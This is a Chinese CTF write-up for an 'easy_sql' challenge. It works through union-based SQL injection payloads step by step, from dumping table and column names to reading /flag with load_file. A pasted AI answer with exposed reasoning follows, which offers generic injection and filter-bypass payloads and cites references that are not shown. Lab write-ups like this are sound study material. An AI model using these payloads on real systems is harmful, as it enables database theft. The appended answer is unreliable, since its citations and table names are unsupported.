easy_sql

easy_sql

判断注入类型(字符型注入/数字型输入)

http://hwserver.bi0x.cn:8302/?id=1 and 1=1#

发现是数字型注入

判断字段数

http://hwserver.bi0x.cn:8302/?id=1 order by 3#

判断注入点

http://hwserver.bi0x.cn:8302/?id=0 union select 1,2,3#

1 2 3都是注入点

爆库名

http://hwserver.bi0x.cn:8302/?id=0 union select database(),2,3#

库名是ctf , 接下来爆表名

爆表名

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#

表名如下:emails,referers,uagents,users

爆字段名

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

这里选择爆users表的字段,因为一般来说用户名密码才是数据库中最重要的资料。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MTKTGoTN-1618825320148)(C:\Users\12751\AppData\Roaming\Typora\typora-user-images\1618735710786.png)]

这里爆出字段名如下:id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

爆字段内容

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(password),2,3 from users#

这里爆出来flag:flag{this_is_easy_SQL}

然后得到另一个线索:flag in /flag

也就是说另外一个flag藏在数据库以外,需要使用mysql的函数去读取服务器文件。

读取文件

http://hwserver.bi0x.cn:8302/?id=0 union select load_file('/flag'),2,3#

flag:flag{th1s_1s_a_l1tt1e_h4rd_Sq1_f1ag}

完结撒花~

<think>嗯,用户正在寻找NSSCTF比赛中easy_sql题目的解法或提示。首先,我需要回忆一下之前处理的类似题目,比如强网杯2019的easy_sql或者SWPUCTF 2021的题目。这些题目通常涉及SQL注入,尤其是堆叠注入,因为用户提供的引用中有提到堆叠注入和手工注入的必要性。 用户提供的引用里提到sqlmap可能不适用,因为题目注释中有“sqlmap是没有灵魂的”,这可能意味着过滤了某些自动化工具的特征,需要手动注入。另外,引用3中的示例使用了联合查询和group_concat来获取表名,这可能是一个线索。 接下来,我需要考虑常见的解题步骤。首先,测试注入点,判断是否存在字符型或数字型注入。然后,尝试堆叠注入,因为题目名称中有“easy_sql”,可能允许执行多条语句。例如,用户提到的使用union select来获取表名和列名,进而dump数据。 还要注意是否有过滤,比如某些关键词被过滤,可能需要大小写绕过或者注释符的使用。例如,使用`-1'`来闭合前面的查询,然后执行union select,最后用`--`注释掉剩余部分。 此外,引用的WriteUp中提到查看源码可能有帮助,比如发现注释中的提示,如use.php,可能需要添加到URL中进行测试。因此,检查页面源代码是重要的一步,可能发现隐藏的提示或注入点。 最后,可能需要利用information_schema数据库来获取表结构和数据,如查询tables和columns表。然后通过联合查询将数据输出到页面上。如果遇到过滤,可能需要尝试不同的绕过方法,比如使用反引号、编码或者分块传输。 总结步骤应该是:确定注入类型,测试堆叠注入是否可行,获取数据库和表信息,最后提取flag。同时注意绕过可能的过滤机制,并利用题目提供的注释或提示。</think>### NSSCTF easy_sql 解题思路 根据题目描述和引用信息,该题属于SQL注入类题型,可能涉及堆叠注入(Stacked Queries)或联合查询。以下是分步解析: --- #### 1. **判断注入类型** - 测试参数是否存在字符型或数字型注入: ```http /?wllm=1' -- 测试字符型闭合 /?wllm=1 and 1=1 -- 测试数字型逻辑 ``` 若页面返回差异,说明存在注入点[^2][^3]。 --- #### 2. **尝试堆叠注入** 引用[2][^2]提到该题适合手工注入,且可能支持堆叠注入: ```http /?wllm=1'; show databases; -- ``` 若返回数据库列表,则确认堆叠注入可用。 --- #### 3. **获取数据库和表名** 通过联合查询或`information_schema`获取元数据: ```http /?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'-- ``` 此处引用[3][^3]显示表名可能为`test_tb`,列名需进一步探测。 --- #### 4. **提取数据** 若已知表名和列名,直接查询目标数据: ```http /?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'-- ``` 最终通过`--dump`或联合查询获取flag: ```http /?wllm=-1' union select 1,2,flag from test_tb-- ``` --- #### 5. **绕过过滤** 若遇到关键词过滤,尝试以下方法: - 使用`/**/`替代空格 - 大小写混合(如`UnIoN`) - 十六进制编码表名 --- ### 关键代码示例 ```python # 手工构造Payload示例(需根据实际过滤调整) payload = "-1' union select 1,2,group_concat(flag) from test_tb-- " url = f"http://target-site/?wllm={payload}" ``` ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值